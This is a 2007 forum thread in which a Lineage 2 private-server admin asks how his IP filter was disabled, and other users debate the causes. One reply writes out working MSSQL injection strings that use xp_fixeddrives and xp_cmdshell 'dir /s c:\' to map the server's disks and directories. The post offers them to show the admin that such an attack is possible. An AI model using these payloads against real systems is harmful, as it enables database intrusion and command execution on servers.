Post Pacific

Post Pacific (https://postpacific.loc-online.com/index.php)
-   Темы без сохранившегося раздела (https://postpacific.loc-online.com/forumdisplay.php?f=10001)
-   -   Ip filter problem (https://postpacific.loc-online.com/showthread.php?t=7443)

DaRkRaGe 26.04.2007 10:05

Ip filter problem
 
Ok guys i have a big question.

I run my server some weeks now and i have offcorse ip filter on.

Today the server was good and when i have remote to the machine i saw that the ip filter was set to false and someone had login with the gm chars in the server.

How is this possible to change the settings? i have amped 2.0a and no one have the remote password for the machine.

EDIT : i have windows 2003 server

Any suggestions?

Forcer 26.04.2007 10:40

I think, ip filter can be edited only in ini file.
without remote access impossible...

khelben 26.04.2007 10:58

Actually.. it theoretically could be possible to use SQL injection to execute a series of EXEC master..xp_cmdshell call and read and eventually rewrite your files if you have that proc turned on and if you have an injection vulnerability.

You might want to look into that. You may have vulnerabilities in your registration system, that's typically where most scumbags start the injection attempts, but examine any code that touches your SQL server. Also, please make sure you use a very secure password for your SQL account especially if you have remote access turned on.

FidoW 26.04.2007 13:50

Quote:

Originally Posted by khelben (Post 84714)
Actually.. it theoretically could be possible to use SQL injection to execute a series of EXEC master..xp_cmdshell call and read and eventually rewrite your files if you have that proc turned on and if you have an injection vulnerability.

You might want to look into that. You may have vulnerabilities in your registration system, that's typically where most scumbags start the injection attempts, but examine any code that touches your SQL server. Also, please make sure you use a very secure password for your SQL account especially if you have remote access turned on.

But in case an attacker is able to do xp_cmdshell commands, he will need to know to location of l2server in the harddrive... i dont think in this case thats the problem.

The most easy explication should be the real one. I think you overwrite INI file or modify it some day when you was updating amped and you forgot to enable ipfilter. Believe that someone found an injection in your website, and later he knows where is the path of l2server.. or start a remote console... i dont think so, is possible... yes... but isnt the most logic explication

alysia 26.04.2007 16:34

sorry but

when a person can login to the database he woudn't use cmdshell to modify the amped IP-filter he would simply destroy the database or add to the database the item/exp that he need to his character and finish

or just use cmdshell to connect to cached server

khelben 27.04.2007 15:09

Quote:

Originally Posted by alysia (Post 84739)
sorry but

when a person can login to the database he woudn't use cmdshell to modify the amped IP-filter he would simply destroy the database or add to the database the item/exp that he need to his character and finish

or just use cmdshell to connect to cached server

I never said anything about logging into the database. I said injection. And, if they were doing it to gain access to a GM char or to obtain items for them it would be counter productive to destroy the server.

Quote:

Originally Posted by FidoW (Post 84724)
But in case an attacker is able to do xp_cmdshell commands, he will need to know to location of l2server in the harddrive... i dont think in this case thats the problem.

The most easy explication should be the real one. I think you overwrite INI file or modify it some day when you was updating amped and you forgot to enable ipfilter. Believe that someone found an injection in your website, and later he knows where is the path of l2server.. or start a remote console... i dont think so, is possible... yes... but isnt the most logic explication

It's really pretty elementary to obtain path information if you found an injectable entry and can use xp_cmdshell.

Observe:
In this statement I will:
1. Close the query by leading off with ';
2. Create a table that will store my information.
3. Insert into my table information about the machine's fixed disks.
4. Prefix the rest of the line with -- in order to turn it into a comment and not affect my query.
Code:

'; CREATE TABLE haxor(name varchar(255), mb_free int);
INSERT INTO haxor  EXEC master..xp_fixeddrives;--

In this statement I will:
1. Close the first part of the query by leading off with '
2. Union my null results with a query designed to pull the data from my haxor table.
3. Turn the rest of the line into a comment.
Code:

' UNION SELECT name, cast((mb_free) as varchar(10)), 1.0 FROM haxor;--
Now I know what disks are installed on the machine...
Lets find out the directories shall we?

Now that i have all my info from my haxor table, I can drop it and recreate it to further my nefarious purposes...

Lets see.... C:\, what do we have there?
Code:

'; DROP TABLE haxor;CREATE TABLE haxor(line varchar(255) null);
INSERT INTO haxor EXEC master..xp_cmdshell 'dir /s c:\';--

Show me the money.

Code:

' UNION SELECT line, '', 1.0 FROM haxor;--
As you can see, it's all really quite basic and takes only a few mins.

Is it the most logical explanation, maybe not. But is it possible? Most assuredly.

FidoW 27.04.2007 17:06

Quote:

Originally Posted by khelben (Post 84805)
As you can see, it's all really quite basic and takes only a few mins.

Is it the most logical explanation, maybe not. But is it possible? Most assuredly.

One thing is found a way to inject a query, another different get the result of the query... and in case someone can found a injection that return the query... do all this works only to disable IP filter ?? like i said before i think is a mistake of the admin, he change INI file by error or he forgot it

I know is possible... i never said the opposite.. but isnt the most easy explanation

testdude 27.04.2007 17:55

yeah FidoW... ive tried many many many many many ways to return results of a query from sql injection when i was checking out the security issues of the c4 files when they were first leaked (pre-amped), and the only way really is to do stuff like changing ur char name or ur title... there was a few ways with bbs but it all depended on sql permissions access... and if bbs was enabled... but yeah its most likely that this guy left it off by mistake, or someone on his staff did and is too scared to admit his mistake... only other theory is if they got amped from a shady source it could be backdoored, certain char name or certain something said ingame could turn ip filter off and give that person builder...


All times are GMT. The time now is 15:27.